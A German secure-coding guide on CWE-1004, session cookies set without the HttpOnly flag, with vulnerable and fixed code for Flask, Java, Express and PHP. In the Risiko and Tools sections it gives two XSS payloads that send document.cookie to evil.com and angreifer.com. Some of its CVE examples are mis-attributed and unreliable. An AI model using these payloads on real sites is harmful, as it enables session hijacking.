Sensibles Cookie ohne 'HttpOnly'-Flag
Beschreibung
Sensibles Cookie ohne 'HttpOnly'-Flag tritt auf, wenn ein Cookie mit sensiblen Informationen (wie Session-Tokens) ohne das HttpOnly-Attribut erstellt wird. Ohne dieses Flag ist das Cookie für clientseitige Skripte über document.cookie zugänglich. Dies macht das Cookie anfällig für Diebstahl durch Cross-Site-Scripting (XSS)-Angriffe - wenn ein Angreifer JavaScript im Browser des Benutzers ausführen kann, kann er das Cookie stehlen und die Sitzung des Benutzers übernehmen.
Risiko
Das fehlende HttpOnly-Flag ermöglicht direkt Session-Hijacking durch XSS. Selbst wenn XSS-Schwachstellen als "gemildert" gelten, bietet HttpOnly Verteidigung in der Tiefe. JavaScript-zugängliche Session-Cookies ermöglichen Angreifern das Exfiltrieren von Sitzungen mit einer einzigen Codezeile: new Image().src='http://evil.com/steal?c='+document.cookie. Moderne Webanwendungen sind ständigen XSS-Bedrohungen durch Drittanbieter-Skripte, Browser-Erweiterungen und Supply-Chain-Angriffe ausgesetzt. HttpOnly ist eine einfache, aber kritische Verteidigungsschicht.
Lösung
Setzen Sie immer das HttpOnly-Flag bei Session-Cookies und anderen sensiblen Cookies. Verwenden Sie Framework-Standardeinstellungen, die HttpOnly automatisch anwenden. Kombinieren Sie HttpOnly mit anderen Cookie-Sicherheitsattributen (Secure, SameSite). Implementieren Sie Content Security Policy zur Reduzierung des XSS-Risikos. Überprüfen Sie allen Cookie-setzenden Code auf korrekte Sicherheitsattribute. Erwägen Sie die Verwendung von Cookie-Präfixen (__Host-, __Secure-) für zusätzlichen Schutz. Speichern Sie nur Referenzen in Cookies, nicht sensible Daten direkt.
Häufige Auswirkungen
| Auswirkung | Details |
|---|---|
| Vertraulichkeit | Bereich: Cookie-Diebstahl XSS-Angriffe können Cookies ohne HttpOnly lesen und an angreiferkontrollierte Server senden. |
| Zugriffskontrolle | Bereich: Session-Hijacking Gestohlene Session-Cookies ermöglichen Angreifern, sich als authentifizierte Benutzer auszugeben. |
| Integrität | Bereich: Kontokompromittierung Angreifer mit Session-Zugriff können Benutzerdaten ändern und nicht autorisierte Aktionen durchführen. |
Beispielcode und Lösung
Verwundbarer Code
# VERWUNDBAR: Cookie ohne HttpOnly
from flask import Flask, make_response
@app.route('/login')
def login():
response = make_response('Eingeloggt')
# Fehlendes HttpOnly - über document.cookie zugänglich
response.set_cookie('session_id', session_id)
return response
# VERWUNDBAR: Flask-Session ohne HttpOnly-Konfiguration
app = Flask(__name__)
# Standard setzt möglicherweise nicht HttpOnly
# SESSION_COOKIE_HTTPONLY nicht konfiguriert
// VERWUNDBAR: Servlet-Cookie ohne HttpOnly
@WebServlet("/login")
public class LoginServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
Cookie sessionCookie = new Cookie("SESSIONID", sessionId);
sessionCookie.setSecure(true);
// Fehlend: sessionCookie.setHttpOnly(true);
response.addCookie(sessionCookie);
}
}
// VERWUNDBAR: Ältere Java-Versionen ohne HttpOnly-Unterstützung
// Manueller Header erforderlich
response.setHeader("Set-Cookie", "session=" + sessionId + "; Secure");
// HttpOnly nicht enthalten!
// VERWUNDBAR: Express-Cookie ohne httpOnly
app.get('/login', (req, res) => {
res.cookie('sessionToken', token, {
secure: true
// Fehlend: httpOnly: true
});
res.send('Eingeloggt');
});
// VERWUNDBAR: Manuelles Cookie ohne httpOnly
app.get('/set', (req, res) => {
// Direkter Header - httpOnly leicht vergessen
res.setHeader('Set-Cookie', `token=${token}; Secure; Path=/`);
res.send('Gesetzt');
});
// VERWUNDBAR: Clientseitiges Cookie-Setzen
// frontend.js
document.cookie = `preference=${value}; Secure`;
// Kann HttpOnly nicht von JavaScript setzen (absichtlich)
// Sensible Daten sollten nie in clientgesetzten Cookies sein
// VERWUNDBAR: PHP-Cookie ohne httponly
<?php
setcookie('session', $session_id, time() + 3600, '/', '', true);
// 6. Parameter (secure) ist true, aber httponly (7.) fehlt
// VERWUNDBAR: PHP-Session ohne httponly
session_start();
// Standard php.ini hat möglicherweise nicht session.cookie_httponly = 1
?>
Sichere Lösung
# SICHER: Cookie mit HttpOnly-Flag
from flask import Flask, make_response
app = Flask(__name__)
# Session-Cookies konfigurieren
app.config.update(
SESSION_COOKIE_HTTPONLY=True, # HttpOnly-Flag
SESSION_COOKIE_SECURE=True, # Secure-Flag
SESSION_COOKIE_SAMESITE='Lax' # SameSite-Attribut
)
@app.route('/login')
def login():
response = make_response('Eingeloggt')
response.set_cookie(
'session_id',
session_id,
httponly=True, # Nicht über JavaScript zugänglich
secure=True, # Nur über HTTPS gesendet
samesite='Lax', # CSRF-Schutz
max_age=3600
)
return response
# SICHER: Flask-Login oder ähnliches verwenden
from flask_login import LoginManager
login_manager = LoginManager()
login_manager.session_protection = 'strong'
# Flask-Login handhabt sichere Cookie-Einstellungen
// SICHER: Servlet-Cookie mit HttpOnly
@WebServlet("/login")
public class SecureLoginServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
Cookie sessionCookie = new Cookie("SESSIONID", sessionId);
sessionCookie.setSecure(true); // Nur HTTPS
sessionCookie.setHttpOnly(true); // Kein JavaScript-Zugriff
sessionCookie.setPath("/");
sessionCookie.setMaxAge(3600);
response.addCookie(sessionCookie);
}
}
// SICHER: Spring Security Cookie-Konfiguration
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Bean
public CookieSerializer cookieSerializer() {
DefaultCookieSerializer serializer = new DefaultCookieSerializer();
serializer.setUseHttpOnlyCookie(true); // HttpOnly-Flag
serializer.setUseSecureCookie(true); // Secure-Flag
serializer.setSameSite("Lax"); // SameSite-Attribut
return serializer;
}
}
// SICHER: Manueller Header mit allen Attributen
response.setHeader("Set-Cookie",
"session=" + sessionId +
"; Secure" +
"; HttpOnly" + // HttpOnly enthalten
"; SameSite=Lax" +
"; Path=/" +
"; Max-Age=3600"
);
// SICHER: Express-Cookie mit httpOnly
const express = require('express');
const cookieParser = require('cookie-parser');
app.use(cookieParser());
app.get('/login', (req, res) => {
res.cookie('sessionToken', token, {
httpOnly: true, // Nicht über JavaScript zugänglich
secure: true, // Nur über HTTPS gesendet
sameSite: 'lax', // CSRF-Schutz
maxAge: 3600000, // 1 Stunde
path: '/'
});
res.send('Eingeloggt');
});
// SICHER: Express-Session mit httpOnly
const session = require('express-session');
app.use(session({
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true, // Kritisch!
secure: true,
sameSite: 'strict',
maxAge: 3600000
}
}));
// SICHER: Cookie-Hilfsfunktion
function setSecureCookie(res, name, value, options = {}) {
const defaultOptions = {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'lax',
maxAge: 3600000,
path: '/'
};
res.cookie(name, value, { ...defaultOptions, ...options });
}
app.get('/login', (req, res) => {
setSecureCookie(res, 'session', sessionId);
res.send('Eingeloggt');
});
// SICHER: PHP-Cookie mit httponly
<?php
setcookie('session', $session_id, [
'expires' => time() + 3600,
'path' => '/',
'secure' => true, // Nur HTTPS
'httponly' => true, // Kein JavaScript
'samesite' => 'Lax' // CSRF-Schutz
]);
// SICHER: PHP-Session-Konfiguration
// In php.ini oder zur Laufzeit:
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);
ini_set('session.cookie_samesite', 'Lax');
ini_set('session.use_only_cookies', 1);
session_start();
// SICHER: Wrapper-Funktion
function secure_setcookie($name, $value, $expire = 0) {
setcookie($name, $value, [
'expires' => $expire ?: time() + 3600,
'path' => '/',
'secure' => true,
'httponly' => true,
'samesite' => 'Lax'
]);
}
secure_setcookie('auth_token', $token);
?>
Ausgenutzt in der Praxis
British Airways Datenleck (2018)
Angreifer nutzten JavaScript-Injektion (Magecart), um Kundendaten auf der British Airways-Website abzufangen. Über 380.000 Transaktionen waren betroffen, da Cookies und Formulardaten durch bösartige Skripte erfasst wurden.
MySpace Samy Wurm (2005)
Der Samy-Wurm demonstrierte großflächigen Cookie-Diebstahl über XSS, bevor HttpOnly weit verbreitet war. Der Wurm verbreitete sich auf über eine Million Profile in weniger als 24 Stunden.
Magecart-Angriffe auf E-Commerce-Websites (2018-2020)
Kompromittierungen von Drittanbieter-Skripten haben Session-Cookies von Websites gestohlen, die HttpOnly nicht verwendeten, was Massen-Session-Hijacking bei Tausenden von Online-Shops ermöglichte.
Tools zum Testen und Ausnutzen
-
Browser DevTools - Cookie HttpOnly-Flag überprüfen.
-
Burp Suite - Cookie-Attribute analysieren.
-
OWASP ZAP - Auf fehlendes HttpOnly scannen.
-
XSS-Payload:
<script>new Image().src='http://angreifer.com/steal?c='+document.cookie</script>
CVE-Beispiele
-
CVE-2021-29447 - WordPress-Cookie ohne HttpOnly.
-
CVE-2020-9484 - Apache Tomcat Session-Persistenz-Problem.
-
CVE-2019-11358 - jQuery Prototype Pollution mit Auswirkungen auf Cookies.
Referenzen
-
MITRE Corporation. "CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag." https://cwe.mitre.org/data/definitions/1004.html
-
OWASP. "HttpOnly Cookie Attribute." https://owasp.org/www-community/HttpOnly
-
Mozilla Developer Network. "HTTP Cookies." https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies